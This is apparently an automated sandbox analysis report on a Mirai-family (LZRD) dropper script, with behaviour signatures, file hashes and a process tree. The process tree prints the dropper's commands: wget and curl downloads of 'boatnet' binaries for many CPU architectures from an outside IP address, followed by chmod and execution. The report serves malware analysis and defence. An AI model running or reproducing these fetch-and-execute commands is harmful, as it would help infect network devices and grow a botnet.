Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 04:10

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    25c6ba0856c61dd5b61a23fb72afbd85

  • SHA1

    02bd8205bff824d323b72ccc0342c46a410f3d74

  • SHA256

    5b35f387f69bcb231b7e339c9ddeb610fd73ebf848f8cefdcfb26a2faabc5c6f

  • SHA512

    f1979d3997551d5cdc3a0aead3792509f2f5cb275ab303bfbb2d3d1e415dd6f882be425e352a73dd8ea27298a09001b7a14c323c3e854298736e76c1449ae8aa

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 39 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:710
    • /usr/bin/wget
      wget http://77.221.151.63/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:717
    • /usr/bin/curl
      curl -O http://77.221.151.63/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:731
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:739
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:740
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:741
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:743
      • /usr/bin/curl
        curl -O http://77.221.151.63/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:744
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:745
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:746
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:747
      • /usr/bin/wget
        wget http://77.221.151.63/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:749
      • /usr/bin/curl
        curl -O http://77.221.151.63/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:760
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:773
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:775
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:776
        • /usr/bin/wget
          wget http://77.221.151.63/hiddenbin/boatnet.i468
          2⤵
            PID:779
          • /usr/bin/curl
            curl -O http://77.221.151.63/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:788
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:797
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:799
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:800
            • /usr/bin/wget
              wget http://77.221.151.63/hiddenbin/boatnet.i686
              2⤵
                PID:803
              • /usr/bin/curl
                curl -O http://77.221.151.63/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:806
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:807
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:808
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:809
                • /usr/bin/wget
                  wget http://77.221.151.63/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:810
                  • /usr/bin/curl
                    curl -O http://77.221.151.63/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:811
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:812
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:813
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:814
                    • /usr/bin/wget
                      wget http://77.221.151.63/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:815
                    • /usr/bin/curl
                      curl -O http://77.221.151.63/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:816
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:817
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:818
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:819
                      • /usr/bin/wget
                        wget http://77.221.151.63/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:823
                      • /usr/bin/curl
                        curl -O http://77.221.151.63/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:824
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:834
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-287e404d3abd4327b83bfdb32f015081-systemd-timedated.service-BGSZk2 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:835
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:837
                        • /usr/bin/wget
                          wget http://77.221.151.63/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:839
                        • /usr/bin/curl
                          curl -O http://77.221.151.63/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:846
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:856
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:857
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:858
                          • /usr/bin/wget
                            wget http://77.221.151.63/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:861
                          • /usr/bin/curl
                            curl -O http://77.221.151.63/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:869
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:870
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:871
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:872
                            • /usr/bin/wget
                              wget http://77.221.151.63/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:874
                            • /usr/bin/curl
                              curl -O http://77.221.151.63/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:875
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:876
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:877
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:878
                              • /usr/bin/wget
                                wget http://77.221.151.63/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:880
                              • /usr/bin/curl
                                curl -O http://77.221.151.63/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:881
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:882
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:883
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:884
                                • /usr/bin/wget
                                  wget http://77.221.151.63/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:886
                                • /usr/bin/curl
                                  curl -O http://77.221.151.63/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:887
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:888
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:889
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:890
                                  • /usr/bin/wget
                                    wget http://77.221.151.63/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:892
                                  • /usr/bin/curl
                                    curl -O http://77.221.151.63/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:893
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:894
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:895
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:896
                                    • /usr/bin/wget
                                      wget http://77.221.151.63/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:898
                                    • /usr/bin/curl
                                      curl -O http://77.221.151.63/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:899
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:900
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:901
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:902

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      e3206d28c93769f5acb5e1e1d5b5f219

                                      SHA1

                                      198b56e1df06819e1141c1d6e8f7ad7d1646194c

                                      SHA256

                                      cdf3f41e3ad38f3081c882ac25d15d03b9e85b7b7021cbd32a6c504acd353aab

                                      SHA512

                                      dad4a759472131bed86139904962c9ce218dbba129e866fabfb524392e2ef8e77f30087d80305eef0452b5f5e685a5d5103e2ee6518b6b9c103fb55b8cfd3503

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      d94c95baa8be09e30fcdc154241477c8

                                      SHA1

                                      d0b682898bd94b01afb6ad2f4fb813197f6a0985

                                      SHA256

                                      2bcc0d44bafdbdecf7e537c3cf0357ab7f6fa5e7a2820e950e4f33a2ae08c6c6

                                      SHA512

                                      7cebf14f7ecfe09c18b161607284a58c771a305b36a4f069493ce813b1cee9bea639412e3fb7d1e492ce889b553ae2512c709b9a3dd2ca86f08b84a07c59e1b9

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      fb08806a49f2c5aa8f8ea71c0ca40395

                                      SHA1

                                      411ae81e99b9c3ec9d27514a7c18cb5c63189b22

                                      SHA256

                                      2f7082951d3b09a10a5308258951b0d2efe7b1717e543e9d51e53e482d00479c

                                      SHA512

                                      60c4b894a8b169553d63dc8ec09d51ab447dc8644fd382265580368e09bcd6681525c1ebba1a5b44531015b060a7f9ab831d6319e92366243f94e4e2225c74b3

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      895badd48eed0c0e0ba14e8d5967e7bb

                                      SHA1

                                      3c4c22665e6197841f7e68f941a4a27dca3d4d8d

                                      SHA256

                                      e2a04bd1fb1e7ed211e3ee19b08337b6361d695278417d5a21ba602ca7eb99b4

                                      SHA512

                                      dfc79a34d1694b7e4422fa4861bf475b3efe2398df684126e71293880f51f4bf39f396fb5c5e36a2c12944c7406e86cac09c3d3b8c432194aab976c8b7e94af7

                                    • memory/819-1-0x00400000-0x00452a58-memory.dmp